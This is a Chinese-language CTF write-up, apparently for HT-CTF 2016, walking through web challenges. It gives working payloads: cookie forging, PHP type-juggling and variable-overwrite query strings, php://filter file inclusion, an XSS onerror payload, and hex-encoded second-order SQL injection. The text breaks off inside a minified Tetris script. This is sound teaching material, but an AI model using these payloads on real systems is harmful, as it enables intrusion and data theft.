前言
今年的题目基于去年的题目新增了几道题
最安全的笔记管理系统 -做不出
Document-getshell-找不到flag
题目
捉迷藏
思路
点击index,flag一闪而过,简单粗暴点直接查看源码获得flag
view-source:http://218.76.35.75:20111/Index.php
<html>
<head>
<title>HT-CTF-2016 - Hidden Flag</title>
<meta http-equiv="refresh" content="0; url=index.php" />
</head>
<body style="margin:auto;padding-top:50px;background:black;color:#0F0;">
A HIDDEN FLAG: FLAG{th!5!5n0tth3fl@g}
<div align="center">
<pre class="logo" style="font-size:6px;">
__ ________ __________________ ___ ____ ________
/ / / /_ __/ / ____/_ __/ ____/ |__ \ / __ < / ___/
/ /_/ / / /_____/ / / / / /_________/ // / / / / __ \
/ __ / / /_____/ /___ / / / __/_____/ __// /_/ / / /_/ /
/_/ /_/ /_/ \____/ /_/ /_/ /____/\____/_/\____/
</pre>
</div>
</body>
</html>
简单问答
思路
我们直接查看源码能看到select中option选项的值与显示的值不对劲
<option value="2015">2016</option>
按钮事件为 disabled
审查元素->删除disabled->提交->抓包
修改参数为如下得flag
后台后台后台
思路
抓包,可以看到cookies中的User与Member参数以不同编码提交给服务器的。
Cookie: PHPSESSID=0f4cl5j51620v7rgja3km6r733; User=JohnTan101; Member=Tm9ybWFs
base64解密Tm9ybWFs明文为Normal,于是将”Admin”base64加密并替换Member内容得flag
Tips:为什么加密Admin而不是admin?因为主页显示"Only Member with Admin rights is allow to enter "
php是最好的语言
思路
代码审计题,经过一系列的传参和判断。直接给出答案
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
http://218.76.35.75:20114/?foo={%22bar1%22:%222017f%22,%22bar2%22:[[1,1],1,1,1,1]}&cat[0]=123&cat[1][]=1&dog=%00htctf2016
?>
flag{php_i5_n0t_b4d}
login
思路
从源代码可初步判断为文件包含
<html>
<head>
<title>trolol</title>
</head>
<body>
<center>
<a href="./?page=main">main</a>
<a href="./?page=info">server info</a>
<a href="./?page=login">login</a>
</center>
</body>
</html>
构造包含语句
http://218.76.35.75:20115/?page=php://filter/convert.base64-encode/resource=login
读出login的源码为:
<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
$logfile = "./log/".$login.".log";
file_put_contents($logfile, $login."\n".$password);
}
?>
<center>
login<br/><br/>
<form action="" method="POST">
<input name="login" placeholder="login"><br/>
<input name="password" placeholder="password"><br/><br/>
<input type="submit" value="Go!">
</form>
</center>
根据login的源码构造包含语句,只要包含log/目录就得出flag
http://218.76.35.75:20115/?page=login&debug=0&log=log/
http 头注入
思路
http头注入大多数为XXF注入,Referer注入等,此处一个一个试。测出
Referer存在注入
此处可用sqlmap注入
简单的文件上传
思路
直接上传PHP文件,修改content-type
简单的JS
思路
查看源码会发现有一段JS没有执行,
复制,在控制台中执行,将document.write(p)修改为alert(p)
访问这个页面,发现flag在cookie中
C00k1els60SecU5e
PHP是门松散的语言
思路
我们能看到以下的代码
- - - - - - - source code - - - - - - - - - -
$he ='goodluck';
parse_str($_GET['heetian']);
if $he = 'abcd';
echo $flag;
he=?
直接变量覆盖
http://218.76.35.75:20124/index.php?heetian=he=abcd
试试XSS
思路
输入123'发现出现个img标签
于是直接构造payload可造成xss,根据hint
payload:#' onerror=alert(document.domain)
得到flag
简单的文件包含
思路
描述:Flag 在/flag
直接包含/flag
http://218.76.35.75:20126/index.php?page=/flag
查看源码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>欢迎来到比赛</title>
</head>
<body>
flag 不在这里<!-- flag: 62a72cb2f3d5e7fc0284da9f21e66c9f.php--></body>
</html>
直接访问flag提示的PHP
http://218.76.35.75:20126/62a72cb2f3d5e7fc0284da9f21e66c9f.php
简单的验证
思路
直接抓包,根据提示,将User=Bob改为User=admin,
爆破guess的值
guess=573 获得flag
Vote
思路
扫备份,存在一个.index.php.swp的vim缓存文件备份。
直接用vim -r index.php 恢复
获得index.php源码。
贴出关键部分
<?php
include 'db.php';
session_start();
if (!isset($_SESSION['login'])){
$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
$login = $_SESSION['login'];
}
if (isset($_POST['submit'])) {
if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
die('please select ...');
$id = $_POST['id'];
$vote = (int)$_POST['vote'];
if ($vote > 5 || $vote < 1)
$vote = 1;
$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
echo '<p><b>Thank you!</b> Results:</p>';
echo '<table border="1">';
echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
while ($r = mysql_fetch_array($q)) {
$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
echo '<tr><td>'.$arr[0].'</td>';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
}
echo '<br><a href="index.php">goBack</a><br>';
exit;
}
?>
从代码中我们可以看到 id被is_numeric给修饰过,不存在一次注入。但是在后面id又被从数据库取出来,形成了二次注入。
我们可以将sql语句转换为16进制由此进行二次注入
payload:
id=1 and 1=2 union select database()&vote=1&submit=Submit
转换为16进制
0x3120616e6420313d3220756e696f6e2073656c6563742064617461626173652829
最终代码:
请求地址:http://218.76.35.75:65080/index.php
post数据:
id=0x3120616e6420313d3220756e696f6e2073656c6563742064617461626173652829&vote=1&submit=Submit
一直如此构造,得到flag,表为t_flag
GG
思路
一进去是个游戏,查看源码有个tetris.js这样的js脚本,于是追踪。
function Tetris(){
function f(b){
this.id=b;this.el=document.getElementById(this.id);var d=this;this.activate=function(){
d.el.style.display="block"==d.el.style.display?"none":"block"};this.close=function(){
d.el.style.display="none"};this.isActive=function(){
return"block"==d.el.style.display}}function l(b,d,a,c){
this.unit=b;this.x=d;this.y=a;this.el=document.getElementById(c);this.board=[];for(a=0;a<this.y;a++)for(this.board.push([]),d=0;d<this.x;d++)this.board[a].push(0);this.destroy=function(){
for(var c=
0;c<this.board.length;c++)for(var a=0;a<this.board[c].length;a++)this.board[c][a]&&(this.el.removeChild(this.board[c][a]),this.board[c][a]=0)};this.removeFullLines=function(){
for(var c=0,a=this.y-1;0<a;a--)this.isLineFull(a)&&(this.removeLine(a),c++,a++);return c};this.isLineFull=function